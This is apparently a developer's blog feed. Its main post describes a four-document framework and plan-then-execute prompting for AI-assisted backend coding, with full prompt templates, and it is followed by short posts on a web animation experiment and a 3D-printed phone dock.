<p><em>Note: All the exact prompts and templates I used are included at the bottom of this article, plus a link to get even more prompts.</em></p>
<p>Most developers spend months building their application, only to realize at the end they want to burn everything down and start over again. Tech debt, they call it. I haven't met a single developer who hasn't felt the urge to rewrite everything from scratch.</p>
<p>In the age of AI, this pain hits faster and harder. You can generate massive amounts of code in days, not months. The siren call to rewrite comes in weeks instead of months, sometimes even days.</p>
<p>But here's the thing - I just spent the past 5 weeks shipping a project with over 100k lines of backend code, with over 10 backend services, and I haven't felt the call to rewrite it. Not once.</p>
<p>The total cost? $450 in AI credits over 3 weeks of intense development.</p>
<p>The result? A production-ready backend that I'm actually proud of.</p>
<h2 id="heading-how-i-did-it-the-4-document-framework">How I Did It: The 4-Document Framework</h2>
<p>Here's exactly what made this possible: <strong>4 documents that act as guardrails for your AI.</strong></p>
<ol>
<li><p><strong>Document 1: Coding Guidelines</strong> - Every technology, pattern, and standard your project uses</p>
</li>
<li><p><strong>Document 2: Database Structure</strong> - Complete schema design before you write any code</p>
</li>
<li><p><strong>Document 3: Master Todo List</strong> - End-to-end breakdown of every feature and API</p>
</li>
<li><p><strong>Document 4: Development Progress Log</strong> - Setup steps, decisions, and learnings</p>
</li>
</ol>
<p>Plus a <strong>two-stage prompt strategy</strong> (plan-then-execute) that prevents code chaos.</p>
<p>This isn't theory. This is the exact process I used to generate maintainable AI code at scale without wanting to burn it down.</p>
<p>But first, let me show you exactly why this framework is necessary...</p>
<h2 id="heading-why-most-ai-code-becomes-garbage-and-how-to-avoid-it">Why Most AI Code Becomes Garbage (And How to Avoid It)</h2>
<p>Here's the brutal truth: LLMs don't go off the rails because they're broken. They go off the rails because you don't build them any rails.</p>
<p>You treat your AI agent like an off-road, all-terrain vehicle, then wonder why it's going off the rails. You give it a blank canvas and expect a masterpiece.</p>
<p>Think about it this way - if you hired a talented but inexperienced developer, would you just say "build me an app" and walk away? Hell no. You'd give them:</p>
<ul>
<li><p>Coding standards</p>
</li>
<li><p>Architecture guidelines</p>
</li>
<li><p>Project requirements</p>
</li>
<li><p>Regular check-ins</p>
</li>
</ul>
<p>But somehow with AI, we think we can skip all that and just... prompt our way to success.</p>
<p>The solution isn't better prompts. It's better infrastructure.</p>
<p>You need to build the roads before you start driving.</p>
<h2 id="heading-the-4-document-framework-that-changes-everything">The 4-Document Framework That Changes Everything</h2>
<p>I spent about a week creating these four documents before writing a single line of application code. Best week I ever invested.</p>
<p>These aren't just documents - they're the rails that keep your AI on track. Every chat I open in my IDE includes these four docs as context.</p>
<h3 id="heading-document-1-coding-guidelines">Document 1: Coding Guidelines</h3>
<p>This document covers every technology you intend to use in your project. Not just a list of technologies - the actual best practices, code snippets, common pitfalls, and coding style choices for each technology.</p>
<p>Here's what mine included:</p>
<ul>
<li><p>Setup and architectural conventions</p>
</li>
<li><p>Folder and file structure standards</p>
</li>
<li><p>ESLint configuration and rules (Airbnb TypeScript standards)</p>
</li>
<li><p>Prettier configuration for code formatting</p>
</li>
<li><p>Naming conventions for variables, methods, classes</p>
</li>
<li><p>Recommended patterns for controllers, services, repositories, DTOs</p>
</li>
<li><p>Testing standards with Jest</p>
</li>
<li><p>CI/CD pipeline setup guidelines</p>
</li>
</ul>
<p>You can generate this document using ChatGPT with research mode on. I used a detailed prompt that asks for comprehensive guidelines covering setup conventions, coding standards, tooling integration, testing standards, and CI/CD practices. (See the exact prompt at the bottom of this article.)</p>
<p><strong>How to use this document:</strong></p>
<ul>
<li><p>Give it to your Cursor agent to generate rulesets for your project (creates rules in <code>.cursor/rules</code>)</p>
</li>
<li><p>Include it as context with every request you make</p>
</li>
</ul>
<p>I did both. The second option will increase your bill, but the results are worth it.</p>
<h3 id="heading-document-2-database-structure">Document 2: Database Structure</h3>
<p>You need a strong database design for the AI to build off. No shortcuts here.</p>
<p>Use an LLM to create this structure by giving it your application scope and asking it to generate the database design. But you must review the database structure against your requirements and make sure it can handle all the features you want to build.</p>
<p>I use a 4-phase prompt approach: entity identification, table structure definition, constraints and indexes, and finally DBML export for visualization. (Complete prompts are at the bottom.)</p>
<p>At the end, you should have a <code>db.dbml</code> file (used by most database visualization tools).</p>
<p>This becomes your single source of truth. Every API, every feature, every data operation references this structure.</p>
<h3 id="heading-document-3-master-todo-list">Document 3: Master Todo List</h3>
<p>This is an end-to-end list of all the tasks you need to finish to build your application, from start to finish.</p>
<p>This doesn't just have to be a todo list. I created an API-todo list which had a list of all the APIs I need to make for my frontend to function. It outlined the entire application scope.</p>
<p>You can reference content from the database structure in this document to ensure everything aligns.</p>
<p>I use another 4-phase approach here: feature area breakdown, API endpoint definition, implementation task creation, and task organization with prioritization. (Detailed prompts at the bottom.)</p>
<p><strong>Pro tip:</strong> Keep this document updated as you complete tasks. It becomes a progress tracker and helps prevent scope creep.</p>
<h3 id="heading-document-4-development-progress-log">Document 4: Development Progress Log</h3>
<p>This contains the steps you took to set up your project, the file structure, the build pipeline, and any other crucial information.</p>
<p>If you used an agent to set up your project, just ask it to create this document for you.</p>
<p>The prompt covers setup and foundation, implementation decisions, build and deployment processes, and learnings from issues encountered. (Full prompt template at the bottom.)</p>
<p><strong>The Magic:</strong> These 4 documents get added to every chat I open in my IDE. Yes, the context might be large, but Cursor will "significantly condense it to fit the context."</p>
<p>As you develop new features and finish tasks in your todo list, make sure you ask the agent to update all your docs (todo list, development progress).</p>
<h2 id="heading-plan-then-execute-the-two-stage-prompt-strategy-that-actually-works">Plan-Then-Execute: The Two-Stage Prompt Strategy That Actually Works</h2>
<p>Thinking models have come a long way, but thinking alone isn't enough. I use a two-stage prompt approach for every feature or task:</p>
<p><strong>Stage 1: Plan</strong><br /><strong>Stage 2: Execute</strong></p>
<p>The advantage of this two-stage approach is you get to review the plan, not the code. When you review the plan, after execution you're just verifying if the generated code matches the plan - which is much easier than reviewing code.</p>
<p>This also grounds the agent to only execute on the current plan, preventing it from going off the rails.</p>
<p>Here's how it works in practice:</p>
<ol>
<li><p><strong>Planning Stage</strong>: "I need to build user authentication. Create a detailed plan for implementing this feature, including all the files that need to be created/modified, the database changes required, and the API endpoints needed."</p>
</li>
<li><p><strong>Review</strong>: I review the plan, make adjustments, approve it.</p>
</li>
<li><p><strong>Execution Stage</strong>: "Execute the plan we just created. Implement the user authentication feature exactly as outlined in the plan."</p>
</li>
</ol>
<p>This simple change transformed my development process. No more surprise architectural decisions buried in generated code.</p>
<h2 id="heading-what-actually-happens-when-you-do-this-the-good-and-the-ugly">What Actually Happens When You Do This (The Good and The Ugly)</h2>
<p>Let me be honest about what really happens when you implement this framework.</p>
<h3 id="heading-the-good">The Good</h3>
<p><strong>Code Quality</strong>: The generated code actually follows your standards. No more random variable names or inconsistent patterns.</p>
<p><strong>Maintainability</strong>: When you come back to code after a week, you can actually understand it because it follows your documented patterns.</p>
<p><strong>Speed</strong>: Once the framework is set up, feature development is blazingly fast. The AI has clear rails to run on.</p>
<p><strong>Confidence</strong>: You stop second-guessing every piece of generated code because you know it was built to your specifications.</p>
<h3 id="heading-the-ugly">The Ugly</h3>
<p><strong>Documentation Drift</strong>: Even if you're updating docs after every chat, they will always slip from the actual code. I set aside a couple of hours every few days to review the docs and sync them up with the code.</p>
<p>I use a 4-phase documentation sync process: git diff analysis, gap analysis, critical updates, and validation. (Complete sync prompts at the bottom.)</p>
<p><strong>Context Window Costs</strong>: Including these documents in every chat increases your bill. But honestly, it's worth every penny for the quality improvement.</p>
<p><strong>Setup Time</strong>: That initial week of document creation feels slow when you just want to start coding. But it pays dividends later.</p>
<p><strong>Maintenance Overhead</strong>: You need to actually update these documents as your project evolves. Skip this and you're back to chaos.</p>
<h2 id="heading-from-solo-coder-to-ai-team-manager">From Solo Coder to AI Team Manager</h2>
<p>Here's the mindset shift that changes everything: You're no longer a developer. You're a manager of AI developers.</p>
<p>And like any good manager, you need to solve the productivity challenges of your team.</p>
<h3 id="heading-the-waiting-game-problem">The Waiting Game Problem</h3>
<p>Nothing kills developer productivity like waiting for your AI agent to finish executing. I've found two approaches to handle this:</p>
<h4 id="heading-the-zen-approach">The Zen Approach</h4>
<p>Develop the near-impossible skill of watching paint dry. Don't feed your brain with YouTube shorts, Twitter scrolling, or blog reading. Just stare at the content being generated and review code when you have enough to review.</p>
<p>It's harder than it sounds. But it works.</p>
<h4 id="heading-the-hydra-approach">The Hydra Approach</h4>
<p>Work on multiple tasks at once. But since growing extra heads isn't an option, you need the oldest cybernetic augmentation known to humanity: pen and paper.</p>
<p>Dump all the context needed for a task onto paper. This helps with context switching and lets you get more done. When the agent is working on one task, you switch to another.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753224398889/a6bec07b-387c-4945-b13b-42c74dc6c50d.png" alt class="image--center mx-auto" /></p>
<p>You're going from the mindset of individual contributor to managing a team of semi-proficient interns.</p>
<h3 id="heading-the-timeline-reality">The Timeline Reality</h3>
<p>We're screwed here. I haven't found a working solution for estimating timelines in the AI age. All I know is setting timelines is hard and gets exponentially harder when you throw AI into the mix.</p>
<p>Here's something funny: When I use my two-step plan-execute approach, sometimes the LLM adds timelines to the end of the plan. They sometimes range from a couple of weeks to a couple of months. But in practice, it usually takes the LLM about 30-60 minutes to execute most tasks.</p>
<p>There's a joke about middle management killing productivity somewhere in there.</p>
<h2 id="heading-the-bottom-line">The Bottom Line</h2>
<p>If you want to get good at using AI for coding, learn from the community. I took inspiration from random comments on the r/cursor subreddit and different blog articles on Hacker News. (Shout out to <a target="_blank" href="https://harper.blog">Harper Reed</a> and his "<a target="_blank" href="https://harper.blog/2025/02/16/my-llm-codegen-workflow-atm/">My LLM codegen workflow atm</a>" blog, where I picked up the two-stage plan-execute idea.)</p>
<p>The framework works. The 4-document approach creates the rails your AI needs to stay on track. The two-stage prompting keeps features focused and reviewable.</p>
<p>As LLMs get cheaper and better, this stuff gets easier. Right now, Claude 4.0 is my go-to model for most tasks. I use o3 when I need to debug really nasty bugs.</p>
<p>Tool calling is going to be crucial for coding tasks in the future. I'm also looking forward to text diffusion models getting good.</p>
<p><strong><mark>Stop treating AI like magic. Start treating it like the powerful but inexperienced team member it is. Give it structure, give it guidance, and watch it build something you're actually proud of.</mark></strong></p>
<p>Follow for more articles like this. I have a few more AI/LLM related pieces in the pipeline.</p>
<hr />
<h2 id="heading-all-the-prompts-and-templates">All the Prompts and Templates</h2>
<p>Here are all the exact prompts I used in this article. For even more advanced prompts and templates, check out my complete collection: <a target="_blank" href="https://daviddodda.gumroad.com/l/jtocj">Get Advanced AI Coding Prompts (Free)</a></p>
<h3 id="heading-coding-guidelines-prompt">Coding Guidelines Prompt</h3>
<pre><code class="lang-markdown"><span class="hljs-strong">**Prompt Template for Generating Backend Code Guidelines**</span>

---

Can you help me create a comprehensive and detailed document outlining backend code guidelines and best practices?

<span class="hljs-strong">**Purpose**</span>:
This document will serve as a foundational reference for our development team, ensuring consistency, maintainability, and quality in our codebase.

<span class="hljs-strong">**Project Context**</span>:
We are building a [complex/simple/moderate] backend system using the following technology stack:

<span class="hljs-bullet">-</span> [List technology stack items here as an array, e.g., NestJS, TypeORM, Swagger UI, AWS S3, AWS Secrets Manager, RabbitMQ, etc.]

Our repository structure is [monorepo/multi-repo], consisting of:

<span class="hljs-bullet">-</span> One primary API service
<span class="hljs-bullet">-</span> [Number] small microservices performing tasks such as background jobs, workers, or scheduled cron jobs

<span class="hljs-strong">**Sections to Cover in the Guidelines:**</span>

<span class="hljs-bullet">1.</span> <span class="hljs-strong">**Setup and Architectural Conventions**</span>

<span class="hljs-bullet">   -</span> Folder and file structure
<span class="hljs-bullet">   -</span> Module organization and dependency management
<span class="hljs-bullet">   -</span> Best practices for scalability and maintainability

<span class="hljs-bullet">2.</span> <span class="hljs-strong">**Coding Standards and Style**</span>

<span class="hljs-bullet">   -</span> ESLint configuration and rules (based on Airbnb TypeScript standards)
<span class="hljs-bullet">   -</span> Prettier configuration for code formatting
<span class="hljs-bullet">   -</span> Naming conventions (variables, methods, classes, etc.)
<span class="hljs-bullet">   -</span> Recommended patterns (controllers, services, repositories, DTOs)

<span class="hljs-bullet">3.</span> <span class="hljs-strong">**Tooling Guidelines**</span>

<span class="hljs-bullet">   -</span> General best practices for tooling integration
<span class="hljs-bullet">   -</span> For each entry in the tech stack, add detailed guidelines and best practices

<span class="hljs-bullet">4.</span> <span class="hljs-strong">**Testing Standards**</span>

<span class="hljs-bullet">   -</span> Jest setup and best practices
<span class="hljs-bullet">   -</span> Guidelines for unit testing, integration testing, and end-to-end testing
<span class="hljs-bullet">   -</span> Recommended test file structure and naming conventions

<span class="hljs-bullet">5.</span> <span class="hljs-strong">**Static Code Analysis and CI/CD**</span>
<span class="hljs-bullet">   -</span> SonarQube integration for static code analysis
<span class="hljs-bullet">   -</span> Basic CI/CD pipeline setup (Coolify, GitHub Actions)
<span class="hljs-bullet">   -</span> Recommended stages and quality gates for code integration

<span class="hljs-strong">**Deliverable**</span>:
Provide the document formatted in clear Markdown with distinct sections, making it easily reusable and adaptable for future technology scopes or additional tooling.
</code></pre>
<h3 id="heading-database-design-prompts-4-phases-in-same-chat">Database Design Prompts (4 phases in same chat)</h3>
<pre><code class="lang-markdown"><span class="hljs-section">## <span class="hljs-strong">**Phase 1: Entity Identification**</span></span>

Analyze my application scope and identify all core entities with their basic relationships.

Don't dive into detailed table structures yet - just identify the main data objects and how they relate to each other.

<span class="hljs-strong">**Application Scope**</span>: [Paste your complete application requirements, user stories, feature lists, etc.]

---

<span class="hljs-section">## <span class="hljs-strong">**Phase 2: Table Structure**</span></span>

Now using the entities we just identified, create detailed table structures for each entity.

For each entity, define:

<span class="hljs-bullet">-</span> All necessary columns with appropriate data types
<span class="hljs-bullet">-</span> Primary keys and foreign keys
<span class="hljs-bullet">-</span> Required vs optional fields
<span class="hljs-bullet">-</span> Basic column constraints

---

<span class="hljs-section">## <span class="hljs-strong">**Phase 3: Constraints and Indexes**</span></span>

Using the table structures we just created, add advanced constraints, indexes, and relationships.

Add:

<span class="hljs-bullet">-</span> Validation rules and check constraints
<span class="hljs-bullet">-</span> Performance indexes for common query patterns
<span class="hljs-bullet">-</span> Junction tables for many-to-many relationships
<span class="hljs-bullet">-</span> Unique constraints and composite keys

---

<span class="hljs-section">## <span class="hljs-strong">**Phase 4: DBML Export**</span></span>

Convert our complete database schema into .dbml format for visualization tools.

Output the final schema as a properly formatted .dbml file that can be used with database visualization tools like dbdocs.io or dbdiagram.io.
</code></pre>
<h3 id="heading-todo-list-generation-prompts-4-phases-in-same-chat">Todo List Generation Prompts (4 phases in same chat)</h3>
<pre><code class="lang-markdown"><span class="hljs-section">## <span class="hljs-strong">**Phase 1: Feature Area Breakdown**</span></span>

Break down my application scope into major feature areas and modules.

<span class="hljs-strong">**Application Scope**</span>: [Paste your complete requirements, user stories, feature specifications]
<span class="hljs-strong">**Database Schema**</span>: [Reference your .dbml file or entity descriptions]

Group related functionality together (e.g., authentication, user management, core business features, admin panel, reporting, etc.).

---

<span class="hljs-section">## <span class="hljs-strong">**Phase 2: API Endpoint Definition**</span></span>

For each feature area we just identified, define all required API endpoints.

For each feature area, list all API endpoints with:

<span class="hljs-bullet">-</span> HTTP method and route
<span class="hljs-bullet">-</span> Purpose and functionality
<span class="hljs-bullet">-</span> Request parameters and body structure
<span class="hljs-bullet">-</span> Response data structure
<span class="hljs-bullet">-</span> Authentication requirements

---

<span class="hljs-section">## <span class="hljs-strong">**Phase 3: Implementation Task Creation**</span></span>

Convert each API endpoint we defined into detailed implementation tasks.

For each API endpoint, create tasks for:

<span class="hljs-bullet">-</span> Database migrations/schema changes needed
<span class="hljs-bullet">-</span> Service layer business logic
<span class="hljs-bullet">-</span> Controller implementation
<span class="hljs-bullet">-</span> Request validation and error handling
<span class="hljs-bullet">-</span> Unit and integration testing
<span class="hljs-bullet">-</span> Documentation

---

<span class="hljs-section">## <span class="hljs-strong">**Phase 4: Task Organization and Prioritization**</span></span>

Organize all the implementation tasks we created by dependencies and priority.

Organize tasks into:

<span class="hljs-bullet">-</span> Setup and infrastructure (must be done first)
<span class="hljs-bullet">-</span> Core dependencies (what blocks what)
<span class="hljs-bullet">-</span> MVP features (essential for launch)
<span class="hljs-bullet">-</span> Enhancement features (nice-to-have)
<span class="hljs-bullet">-</span> Testing and deployment tasks

Output: Prioritized development roadmap with clear dependencies.
</code></pre>
<h3 id="heading-development-progress-documentation-prompt">Development Progress Documentation Prompt</h3>
<pre><code class="lang-markdown"><span class="hljs-strong">**Development Progress Documentation Prompt**</span>

---

Create a comprehensive development progress log that captures everything about how this project was set up and built.

<span class="hljs-strong">**Purpose**</span>: This document will serve as a knowledge base for future reference, troubleshooting, and onboarding.

<span class="hljs-strong">**Current Project State**</span>: [Describe what you've built so far, current file structure, tools used, key decisions made]

Document the following:

<span class="hljs-strong">**Setup and Foundation**</span>:

<span class="hljs-bullet">-</span> Commands used to initialize the project
<span class="hljs-bullet">-</span> Package installations and dependency choices made
<span class="hljs-bullet">-</span> Configuration files created and their purposes
<span class="hljs-bullet">-</span> Development environment setup steps taken

<span class="hljs-strong">**Implementation Decisions**</span>:

<span class="hljs-bullet">-</span> How you implemented the coding guidelines in practice
<span class="hljs-bullet">-</span> Deviations from the original guidelines and why
<span class="hljs-bullet">-</span> Architecture patterns chosen and reasoning
<span class="hljs-bullet">-</span> Database setup and migration commands used

<span class="hljs-strong">**Build and Deployment**</span>:

<span class="hljs-bullet">-</span> Build scripts and commands that actually work
<span class="hljs-bullet">-</span> Environment variables and secrets management approach
<span class="hljs-bullet">-</span> Deployment process and hosting setup steps
<span class="hljs-bullet">-</span> Any CI/CD configuration implemented

<span class="hljs-strong">**Learnings and Issues**</span>:

<span class="hljs-bullet">-</span> Common issues encountered and solutions found
<span class="hljs-bullet">-</span> Gotchas and things that didn't work as expected
<span class="hljs-bullet">-</span> Performance considerations discovered
<span class="hljs-bullet">-</span> Future improvement areas identified

Output: A practical knowledge base that someone could use to understand and replicate your setup.
</code></pre>
<h3 id="heading-documentation-review-and-sync-prompts-4-phases-in-same-chat">Documentation Review and Sync Prompts (4 phases in same chat)</h3>
<pre><code class="lang-markdown"><span class="hljs-section">## <span class="hljs-strong">**Phase 1: Git Diff Analysis**</span></span>

Analyze what's changed in the codebase since the last documentation update.

<span class="hljs-strong">**Last Documentation Update**</span>: [Date when docs were last updated, e.g., "2024-01-15" or commit hash]

First, run <span class="hljs-code">`git log --oneline --since="[date]"`</span> to see all commits since the last doc update, then run <span class="hljs-code">`git diff [commit-hash]`</span> to get the actual changes.

Analyze the diff and identify:

<span class="hljs-bullet">-</span> New files or directories added
<span class="hljs-bullet">-</span> Modified API routes or endpoints
<span class="hljs-bullet">-</span> Database schema changes (migrations, models)
<span class="hljs-bullet">-</span> New dependencies in package.json
<span class="hljs-bullet">-</span> Configuration changes
<span class="hljs-bullet">-</span> Removed or renamed files

---

<span class="hljs-section">## <span class="hljs-strong">**Phase 2: Documentation Gap Analysis**</span></span>

Based on the git diff analysis, identify what documentation needs updating.

Cross-reference the code changes with our current documentation to find:

<span class="hljs-bullet">-</span> New features built but not documented
<span class="hljs-bullet">-</span> Changed implementations not reflected in docs
<span class="hljs-bullet">-</span> Removed/deprecated features still in documentation
<span class="hljs-bullet">-</span> New setup steps or configuration changes needed
<span class="hljs-bullet">-</span> Dependencies or tools that need documentation

---

<span class="hljs-section">## <span class="hljs-strong">**Phase 3: Critical Updates**</span></span>

Update the most critical and incorrect documentation sections first.

<span class="hljs-strong">**Priority Areas**</span>: [Specify which docs are most critical - setup, API, database, etc.]

Focus on:

<span class="hljs-bullet">-</span> API documentation that no longer matches actual endpoints
<span class="hljs-bullet">-</span> Setup instructions broken by dependency changes
<span class="hljs-bullet">-</span> Database schema docs that don't match current migrations
<span class="hljs-bullet">-</span> Configuration examples that reference removed files
<span class="hljs-bullet">-</span> Commands that no longer work due to recent changes

---

<span class="hljs-section">## <span class="hljs-strong">**Phase 4: Enhancement and Validation**</span></span>

Enhance the updated documentation and validate against current codebase.

Final verification:

<span class="hljs-bullet">-</span> Test all documented commands actually work
<span class="hljs-bullet">-</span> Verify API examples match current endpoint structure
<span class="hljs-bullet">-</span> Check that setup instructions lead to working environment
<span class="hljs-bullet">-</span> Update progress log with recent developments
<span class="hljs-bullet">-</span> Add any new troubleshooting insights discovered

Output: Documentation synced with current codebase state.
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Building Complexity from Simplicity: An Interactive Web Experiment]]></title><description><![CDATA[Have you ever looked at something visually complex and wondered, "How in the world did they do that?" What if I told you that behind some of the most mesmerizing visual interactions, there’s often just a handful of simple rules?
Recently, I crafted a...]]></description><link>https://blog.daviddodda.com/building-complexity-from-simplicity-an-interactive-web-experiment</link><guid isPermaLink="true">https://blog.daviddodda.com/building-complexity-from-simplicity-an-interactive-web-experiment</guid><category><![CDATA[CSS]]></category><category><![CDATA[js]]></category><category><![CDATA[HTML5]]></category><category><![CDATA[animation]]></category><category><![CDATA[Design]]></category><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Sat, 31 May 2025 11:35:18 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1748691537249/f2def3b5-fbd1-41a2-bd29-31fbb74fa03f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Have you ever looked at something visually complex and wondered, "How in the world did they do that?" What if I told you that behind some of the most mesmerizing visual interactions, there’s often just a handful of simple rules?</p>
<p>Recently, I crafted a simple web experiment called <strong>Snake Eyes</strong>, aiming precisely at that, transforming basic, straightforward rules into something surprisingly beautiful and engaging. Let’s dive into how this works.</p>
<h3 id="heading-the-foundation-simple-rules">The Foundation: Simple Rules</h3>
<p>Imagine a grid of squares, each containing a smaller circle. Here are the rules governing each square:</p>
<ol>
<li><p><strong>Attraction</strong>: The circle within each square moves slightly toward your cursor when you move your mouse around.</p>
</li>
<li><p><strong>Scaling Animation</strong>: When you click anywhere on the screen, the circles scale up briefly, creating a wave-like animation.</p>
</li>
<li><p><strong>Color Cycling</strong>: Every click also cycles the colors of the circles and the background in a coordinated manner, producing vibrant visual feedback.</p>
</li>
</ol>
<p>These rules, individually, are easy to grasp. There’s nothing complicated here, just position tracking, scaling animations, and color changes.</p>
<h3 id="heading-how-each-square-behaves">How Each Square Behaves</h3>
<ul>
<li><p><strong>Circle Movement</strong>: Each circle calculates its distance from your cursor. The closer your cursor, the more significant the pull towards it. Farther circles barely move, while nearer ones noticeably shift.</p>
</li>
<li><p><strong>Wave Effect</strong>: When clicking, circles animate outward from the click position. This animation delay is directly proportional to their distance from your click, creating a fluid, rippling wave effect.</p>
</li>
<li><p><strong>Dynamic Colors</strong>: With each click, the circles change color in sequence, and the background shifts subtly to a complementary shade, ensuring harmony and contrast.</p>
</li>
</ul>
<h3 id="heading-turning-simplicity-into-complexity">Turning Simplicity into Complexity</h3>
<p>Here’s the magic: When you multiply these simple interactions across dozens or even hundreds of elements, complexity emerges naturally. The interplay of movement, timing, and color creates visually captivating patterns far greater than the sum of its parts.</p>
<h3 id="heading-lessons-learned">Lessons Learned</h3>
<ul>
<li><p><strong>Less is More</strong>: Even minimal rules can produce rich, engaging visuals.</p>
</li>
<li><p><strong>Timing Matters</strong>: Smooth, carefully timed animations create appealing interactions.</p>
</li>
<li><p><strong>Harmony in Design</strong>: Complementary colors and coordinated animations enhance the overall visual experience significantly.</p>
</li>
</ul>
<h3 id="heading-try-it-yourself">Try It Yourself</h3>
<p>Exploring these interactions first-hand is not only fun but also inspiring. By experimenting with simple rulesets and basic animations, you'll discover just how powerful and creative simplicity can be.</p>
<p>So, next time you marvel at something visually complex, remember: <mark>complexity often starts with simplicity, just scaled, repeated, and beautifully orchestrated.</mark>  </p>
<p>link to the experiment - <a target="_blank" href="https://daviddodda.com/experiments/snake-eyes.html">https://daviddodda.com/experiments/snake-eyes.html</a></p>
<p>link to the code - <a target="_blank" href="https://github.com/daviddodda1/developer_portfolio_minimal/blob/main/experiments/snake-eyes.html">https://github.com/daviddodda1/developer_portfolio_minimal/blob/main/experiments/snake-eyes.html</a></p>
]]></content:encoded></item><item><title><![CDATA[From 3D Modeling Noob to Building the Perfect Phone Dock]]></title><description><![CDATA[Hey, quick story about how I created my perfect phone dock.
So I'm scrolling YouTube one day and stumble across this slick iPhone standby dock by Scott.

video link
Clean design, wireless charging, even a spot for AirPods. Love it. Only problem? I've...]]></description><link>https://blog.daviddodda.com/from-3d-modeling-noob-to-building-the-perfect-phone-dock</link><guid isPermaLink="true">https://blog.daviddodda.com/from-3d-modeling-noob-to-building-the-perfect-phone-dock</guid><category><![CDATA[3D printing]]></category><category><![CDATA[DIY]]></category><category><![CDATA[Open Source]]></category><category><![CDATA[#3DModeling]]></category><category><![CDATA[#learninginpublic]]></category><dc:creator><![CDATA[David Dodda]]></dc:creator><pubDate>Sat, 01 Feb 2025 02:35:34 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1738377057283/4c61b803-1686-4136-97c7-c3f8d33e3d1e.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hey, quick story about how I created my perfect phone dock.</p>
<p>So I'm scrolling YouTube one day and stumble across this slick iPhone standby dock by Scott.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738376374127/5cd66b93-7cf3-4dfe-840b-a01c1657038c.png" alt class="image--center mx-auto" /></p>
<p><a target="_blank" href="https://www.youtube.com/watch?v=L3nWw8qSYgk">video link</a></p>
<p>Clean design, wireless charging, even a spot for AirPods. Love it. Only problem? I've got an Android.</p>
<p>Perfect chance to level up my 3D modeling skills. I'm still a beginner with Onshape, but hey - best way to learn is to build something you actually want, right? So I fired up the software and started modeling.</p>
<h2 id="heading-version-1">Version 1</h2>
<p>On my first attempt I built this chunky brick with a solid back wall. Looked decent, had spots for the phone and my Mi Watch. But had one big downside - my Motorola Edge supports 50W wireless charging. Sounds great until you realize what happens when you pump that much power through a wireless charger...</p>
<p>The whole thing Hit 85-90 degrees at the hottest parts and the PLA plastic started to soften and sag where it came in contact with the charging puck. Not ideal when you're trying to work and your phone dock is slowly morphing into modern art.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738376392127/f8b39748-d56d-4f6b-b78a-dff48bda3456.jpeg" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738376406860/c0ba8a4a-bd2b-4655-819f-5da975ae021c.jpeg" alt class="image--center mx-auto" /></p>
<h2 id="heading-version-2">Version 2</h2>
<p>Version 2 got smarter. Added ventilation slots, even designed spots for 30mm cooling fans. I know it’s over kill. But sometimes you gotta go big before you can go home. Turns out just dropping the charging power solved the heat issue (you just use a low wattage charge brick). Classic over-engineering.</p>
<p>But the story doesn't end there. Upgraded my watch to this cool open-source BangleJS that lets you run your own application that your write in javascript. but it has a different charging mechanism that’s not comparable with the version 2 dock.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738376415843/1578beb9-19e4-4709-ba90-f4744276aac2.jpeg" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738376424440/a5052f5c-889b-43c4-ac97-4358c2e286ac.jpeg" alt class="image--center mx-auto" /></p>
<h2 id="heading-version-3">Version 3</h2>
<p>so one more major iteration, this time I don’t want it to take up too much space, I don’t want it bulky, something that’s really simple. here’s the 3rd version of the dock. considerably smaller footprint, takes way less material to print, has vents only at the charge coil. I also moved the charge area to the front of the dock instead of the top. has decent cable management too.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738376438641/6f8c3e3c-7778-4534-8091-ed497c373a55.jpeg" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738376444326/88041625-5951-4fda-967e-542f0086dc97.jpeg" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738376449815/962a0f1c-53da-4b9c-80d0-8ea90dbf483b.jpeg" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738376456415/289573ae-6bc0-49fe-8948-766344a427c2.jpeg" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738376460536/d43e4b12-cd36-49a0-9d4f-0a0238d475a4.jpeg" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1738376464196/4b1a92cb-cc3c-4679-b091-ce43669243db.jpeg" alt class="image--center mx-auto" /></p>
<h2 id="heading-the-application">The Application</h2>
<p>on android you don’t have a standmy dock mode, so I use this app called StandbyDock Pro (one-time payment, none of that subscription nonsense). Now I've got this whole command center setup - calendar, music controls and some really cool clocks.</p>
<p>Want to build your own? I'll drop the 3D models and Onshape project links below. the on-shape project is parametric, so you can tweak it for whatever phone/watch combo you're running.</p>
<p>onshape link - <a target="_blank" href="https://cad.onshape.com/documents/d94f0a5e3dbdc238eee0df12/w/20a0c54cbcca88e40ed6379d/e/1c566268f8cf71fcad356f0f">https://cad.onshape.com/documents/d94f0a5e3dbdc238eee0df12/w/20a0c54cbcca88e40ed6379d/e/1c566268f8cf71fcad356f0f</a></p>
<p>thingiverse (stl files) - <a target="_blank" href="https://www.thingiverse.com/thing:6930050">https://www.thingiverse.com/thing:6930050</a></p>
<p>Android App - <a target="_blank" href="https://play.google.com/store/apps/details?id=br.com.zetabit.ios_standby&amp;hl=en_IN&amp;pli=1">https://play.google.com/store/apps/details?id=br.com.zetabit.ios_standby&amp;hl=en_IN&amp;pli=1</a></p>
<p>I am a noob when it comes to 3d modeling, so I know this is not the perfect version. I got it to a place where I am happy using it on my desk.</p>
<p>That's it - catch you in the next one.</p>
